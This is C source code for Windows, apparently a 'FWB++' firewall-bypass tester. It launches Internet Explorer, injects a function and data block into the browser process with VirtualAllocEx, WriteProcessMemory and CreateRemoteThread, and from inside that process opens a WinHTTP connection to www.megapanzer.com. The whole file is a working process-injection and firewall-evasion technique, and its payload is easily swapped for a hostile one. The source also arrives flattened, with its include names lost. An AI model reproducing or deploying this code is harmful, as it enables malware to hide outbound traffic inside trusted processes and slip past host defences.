#include #include #include #pragma comment(linker,"/MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR") #pragma comment(lib, "WinHttp.lib") #pragma comment(lib, "User32.lib") /* * Data type forward declaration. */ struct REMOTEDATA; // Kernel32 typedef HMODULE (__stdcall *myGetModuleHandle)( LPCTSTR ); typedef FARPROC (__stdcall *myGetProcAddress)( HMODULE, LPCSTR ); typedef HINSTANCE (__stdcall *myLoadLibrary)( LPCTSTR ); typedef BOOL (__stdcall *myTerminateProcess)(HANDLE, UINT); // User32 typedef int (__stdcall *myMessageBox)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); // WinHttpOpen typedef HINTERNET (__stdcall *myWinHttpOpen)(LPCWSTR pwszUserAgent, DWORD dwAccessType, LPCWSTR pwszProxyName, LPCWSTR pwszProxyBypass, DWORD dwFlags); typedef HINTERNET (__stdcall *myWinHttpConnect)(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); typedef HINTERNET (__stdcall *myWinHttpOpenRequest)(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); typedef BOOL (__stdcall *myWinHttpCloseHandle)(HINTERNET hInternet); typedef BOOL (__stdcall *myWinHttpSendRequest)(HINTERNET hRequest, LPCWSTR pwszHeaders, DWORD dwHeadersLength, PVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); typedef BOOL (__stdcall *myWinHttpReceiveResponse)(HINTERNET hRequest, LPVOID lpReserved); typedef void (WINAPI *myRemoteFunction)(REMOTEDATA* v); struct REMOTEDATA { // module names char User32dll[16]; char WinHTTPdll[16]; // function names char szMessageBox[32]; char szTerminateProcess[32]; char szWinHttpOpen[32]; char szWinHttpCloseHandle[32]; char szWinHttpConnect[32]; char szWinHttpOpenRequest[32]; char szWinHttpSendRequest[32]; char szWinHttpReceiveResponse[32]; // kernel myGetModuleHandle GetModuleHandle; myGetProcAddress GetProcAddress; myLoadLibrary LoadLibrary; myTerminateProcess TerminateProcess; // user32 myMessageBox MessageBox; // winhttp myWinHttpConnect WinHttpConnect; myWinHttpOpen WinHttpOpen; myWinHttpOpenRequest WinHttpOpenRequest; myWinHttpCloseHandle WinHttpCloseHandle; myWinHttpSendRequest WinHttpSendRequest; myWinHttpReceiveResponse WinHttpReceiveResponse; // data wchar_t szHostName[128]; wchar_t szRequestMethod[128]; wchar_t szClientID[128]; // own functions myRemoteFunction InjectedFunction; // As we inject this char lStageOneOK[128]; char lStageOneNOK[128]; char lStageTwoOK[128]; char lStageTwoNOK[128]; char lStageThreeOK[128]; char lStageThreeNOK[128]; char lStageFourOK[128]; char lStageFourNOK[128]; char lStageFiveOK[128]; char lStageFiveNOK[128]; char lTerminateMsg[128]; HANDLE hProcessHandle; }; // ------------- Injected code ----------------- #pragma check_stack(off) /* * Function to inject into the remote process. */ static int InjectedFunction(REMOTEDATA* pRD) { // User32 functions could also be loaded from the injecting process // but I do it here for demonstration purposes. HMODULE hUser32; HMODULE hWinHTTP; HINTERNET hSession = NULL; HINTERNET hConnect = NULL; HINTERNET hRequest = NULL; /* * Load all DLLs and function pointers */ if ((hUser32 = pRD->GetModuleHandle(pRD->User32dll)) == NULL) { if ((hUser32 = pRD->LoadLibrary(pRD->User32dll)) == NULL) { pRD->MessageBox( NULL, pRD->lStageOneNOK, pRD->lStageOneNOK, MB_OK); return(-1); } } if ((hWinHTTP = pRD->GetModuleHandle(pRD->WinHTTPdll)) == NULL) { if ((hWinHTTP = pRD->LoadLibrary(pRD->WinHTTPdll)) == NULL) { pRD->MessageBox( NULL, pRD->lStageOneNOK, pRD->lStageOneNOK, MB_OK); return(-2); } } pRD->MessageBox = (myMessageBox) pRD->GetProcAddress(hUser32, pRD->szMessageBox); pRD->TerminateProcess = (myTerminateProcess) pRD->GetProcAddress(hUser32, pRD->szTerminateProcess); pRD->WinHttpOpen = (myWinHttpOpen) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpOpen); pRD->WinHttpOpenRequest = (myWinHttpOpenRequest) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpOpenRequest); pRD->WinHttpConnect = (myWinHttpConnect) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpConnect); pRD->WinHttpSendRequest = (myWinHttpSendRequest) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpSendRequest); pRD->WinHttpReceiveResponse = (myWinHttpReceiveResponse) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpReceiveResponse); pRD->WinHttpCloseHandle = (myWinHttpCloseHandle) pRD->GetProcAddress(hWinHTTP, pRD->szWinHttpCloseHandle); pRD->MessageBox( NULL, pRD->lStageOneOK, pRD->lStageOneOK, MB_OK); /* * Establish the connection to www.megapanzer.com */ if (hSession = pRD->WinHttpOpen(pRD->szClientID, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)) { pRD->MessageBox( NULL, pRD->lStageTwoOK, pRD->lStageTwoOK, MB_OK); if (hConnect = pRD->WinHttpConnect(hSession, pRD->szHostName, INTERNET_DEFAULT_HTTP_PORT, 0)) { pRD->MessageBox( NULL, pRD->lStageThreeOK, pRD->lStageThreeOK, MB_OK); if (hRequest = pRD->WinHttpOpenRequest(hConnect, pRD->szRequestMethod, NULL, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0)) { pRD->MessageBox( NULL, pRD->lStageFourOK, pRD->lStageFourOK, MB_OK); if (pRD->WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { pRD->WinHttpReceiveResponse(hRequest, NULL); pRD->MessageBox( NULL, pRD->lStageFiveOK, pRD->lStageFiveOK, MB_OK); } else { pRD->MessageBox( NULL, pRD->lStageFiveNOK, pRD->lStageFiveNOK, MB_OK); } } else { pRD->MessageBox( NULL, pRD->lStageFourNOK, pRD->lStageFourNOK, MB_OK); } } else { pRD->MessageBox( NULL, pRD->lStageThreeOK, pRD->lStageThreeOK, MB_OK); } } else { pRD->MessageBox( NULL, pRD->lStageTwoOK, pRD->lStageTwoOK, MB_OK); } /* * Close all allocated resources. */ if (hSession != NULL) pRD->WinHttpCloseHandle(hSession); if (hConnect != NULL) pRD->WinHttpCloseHandle(hConnect); if (hRequest != NULL) pRD->WinHttpCloseHandle(hRequest); pRD->MessageBox(NULL, pRD->lTerminateMsg, pRD->lTerminateMsg, MB_OK); pRD->TerminateProcess(pRD->hProcessHandle, 0); } static void WINAPI LastFunction(void) { } #pragma check_stack // ---------- End of injected code --------------- /* * Function injection. */ PDWORD injectCode(HANDLE hPID, DWORD pCodeSize, LPVOID pFunctionPointer) { PDWORD lRemoteCodePtr = NULL; DWORD dwOldProtect = 0; DWORD dwNumBytesXferred = 0; if ((lRemoteCodePtr = (PDWORD) VirtualAllocEx(hPID, 0, pCodeSize, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)) == 0) return(0); if (!VirtualProtectEx(hPID, lRemoteCodePtr, pCodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) return(0); if (WriteProcessMemory(hPID, lRemoteCodePtr, pFunctionPointer, pCodeSize, &dwNumBytesXferred) == 0) return(0); return(lRemoteCodePtr); } /* * Program entry point. */ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HANDLE hProcess = INVALID_HANDLE_VALUE; HANDLE hThread = INVALID_HANDLE_VALUE; HMODULE hKernel32 = 0; REMOTEDATA lRemoteData; DWORD lThreadId = 0; STARTUPINFO lSI; PROCESS_INFORMATION lPI; LPVOID lInjectionData = NULL; /* * initialisation */ ZeroMemory(&lSI,sizeof(STARTUPINFO)); ZeroMemory(&lPI,sizeof(PROCESS_INFORMATION)); lSI.cb = sizeof(STARTUPINFO); lSI.dwFlags = STARTF_USESHOWWINDOW; lSI.wShowWindow = SW_SHOW; strcpy(lRemoteData.User32dll, "user32.dll"); strcpy(lRemoteData.WinHTTPdll, "Winhttp.dll"); strcpy(lRemoteData.szMessageBox, "MessageBoxA"); strcpy(lRemoteData.szWinHttpOpen, "WinHttpOpen"); strcpy(lRemoteData.szWinHttpOpenRequest, "WinHttpOpenRequest"); strcpy(lRemoteData.szWinHttpSendRequest, "WinHttpSendRequest"); strcpy(lRemoteData.szWinHttpReceiveResponse, "WinHttpReceiveResponse"); strcpy(lRemoteData.szWinHttpConnect, "WinHttpConnect"); strcpy(lRemoteData.szWinHttpCloseHandle, "WinHttpCloseHandle"); strcpy(lRemoteData.szTerminateProcess, "TerminateProcess"); strcpy(lRemoteData.lStageOneOK, "stage one OK"); strcpy(lRemoteData.lStageOneNOK, "stage one NOK"); strcpy(lRemoteData.lStageTwoOK, "stage two OK"); strcpy(lRemoteData.lStageTwoNOK, "stage two NOK"); strcpy(lRemoteData.lStageThreeOK, "stage three OK"); strcpy(lRemoteData.lStageThreeNOK, "stage three NOK"); strcpy(lRemoteData.lStageFourOK, "stage four OK"); strcpy(lRemoteData.lStageFourNOK, "stage four NOK"); strcpy(lRemoteData.lStageFiveOK, "Connected successfully to www.megapanzer.com."); strcpy(lRemoteData.lStageFiveNOK, "stage five NOK. Could not connect to www.megapanzer.com."); strcpy(lRemoteData.lTerminateMsg, "FWB++ test finished"); wcscpy(lRemoteData.szHostName, L"www.megapanzer.com"); wcscpy(lRemoteData.szClientID, L"Megapanzer web client"); wcscpy(lRemoteData.szRequestMethod, L"GET /"); if (!CreateProcess("c:\\programme\\Internet Explorer\\iexplore.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &lSI, &lPI)) return(-1); /* * Kernel32 and User32 functions obviously have the same address inside the memory. * Therefore we define it already inside the injecting process. */ hKernel32 = GetModuleHandle("kernel32.dll"); lRemoteData.GetModuleHandle = (myGetModuleHandle) GetProcAddress(hKernel32, "GetModuleHandleA"); lRemoteData.GetProcAddress = (myGetProcAddress) GetProcAddress(hKernel32, "GetProcAddress"); lRemoteData.LoadLibrary = (myLoadLibrary) GetProcAddress(hKernel32, "LoadLibraryA"); lRemoteData.TerminateProcess = (myTerminateProcess) GetProcAddress(hKernel32, "TerminateProcess"); /* * Inject the function and the data structure into the remote process. */ lRemoteData.InjectedFunction = (myRemoteFunction) injectCode(lPI.hProcess, (LPBYTE) LastFunction - (LPBYTE) InjectedFunction, (LPVOID) InjectedFunction); if (lRemoteData.InjectedFunction == NULL) return(-1); if ((lInjectionData = injectCode(lPI.hProcess, sizeof(REMOTEDATA), &lRemoteData)) == NULL) return(-2); // Let IE start before going on ... Sleep(2000); /* * Start the remote thread and terminate the main program. */ MessageBox( NULL, "FWB++ tester", "Click the button to start the test!", MB_OK); CreateRemoteThread(lPI.hProcess, NULL, 65535, (LPTHREAD_START_ROUTINE) lRemoteData.InjectedFunction, lInjectionData, 0, &lThreadId); ExitProcess(0); }